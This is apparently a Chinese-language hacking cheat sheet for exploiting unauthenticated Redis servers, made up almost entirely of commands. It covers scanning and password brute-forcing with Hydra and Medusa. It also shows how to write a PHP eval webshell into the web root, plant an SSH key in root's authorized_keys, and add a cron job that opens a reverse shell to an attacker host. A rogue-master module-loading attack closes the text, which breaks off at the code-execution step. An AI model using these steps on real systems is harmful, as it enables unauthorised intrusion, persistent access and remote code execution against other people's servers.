6379 - Redis 未授权访问

# Nmap 扫描
nmap -sV -p 6379 <TARGET_IP>

# Redis 信息脚本
nmap --script redis-info <TARGET_IP>

# 直接连接
redis-cli -h <TARGET_IP>

# 如果成功，查看信息
info
config get *

# 连接 Redis
redis-cli -h <TARGET_IP>

# 查看信息
127.0.0.1:6379> info
127.0.0.1:6379> config get *

# 查看 keys
127.0.0.1:6379> keys *

# Hydra 爆破
hydra -a -l "" -P /usr/share/wordlists/rockyou.txt redis://<TARGET_IP>

# Medusa 爆破
medusa -h <TARGET_IP> -p "" -M redis

# 使用 redis-cli 测试
redis-cli -h <TARGET_IP> -a password

# 连接 Redis
redis-cli -h <TARGET_IP>

# 设置 webshell
127.0.0.1:6379> config set dir /var/www/html
127.0.0.1:6379> config set dbfilename shell.php
127.0.0.1:6379> set x "<?php @eval($_POST['cmd']);?>"
127.0.0.1:6379> save

# 访问 webshell
http://<TARGET_IP>/shell.php

# 生成 SSH 密钥
ssh-keygen -t rsa

# 连接 Redis
redis-cli -h <TARGET_IP>

# 写入公钥
127.0.0.1:6379> config set dir /root/.ssh
127.0.0.1:6379> config set dbfilename authorized_keys
127.0.0.1:6379> set x "\n\n\n<公钥内容>\n\n\n"
127.0.0.1:6379> save

# SSH 登录
ssh -i id_rsa root@<TARGET_IP>

# 连接 Redis
redis-cli -h <TARGET_IP>

# 写入反弹 shell
127.0.0.1:6379> config set dir /var/spool/cron
127.0.0.1:6379> config set dbfilename root
127.0.0.1:6379> set x "\n*/1 * * * * /bin/bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1\n"
127.0.0.1:6379> save

# 攻击者启动恶意 Redis 服务器
redis-server --loadmodule /path/to/evil.so

# 受害者 Redis 配置主从
redis-cli -h <TARGET_IP>
127.0.0.1:6379> slaveof <ATTACKER_IP> 6379
127.0.0.1:6379> slaveof no one

# 执行恶意代码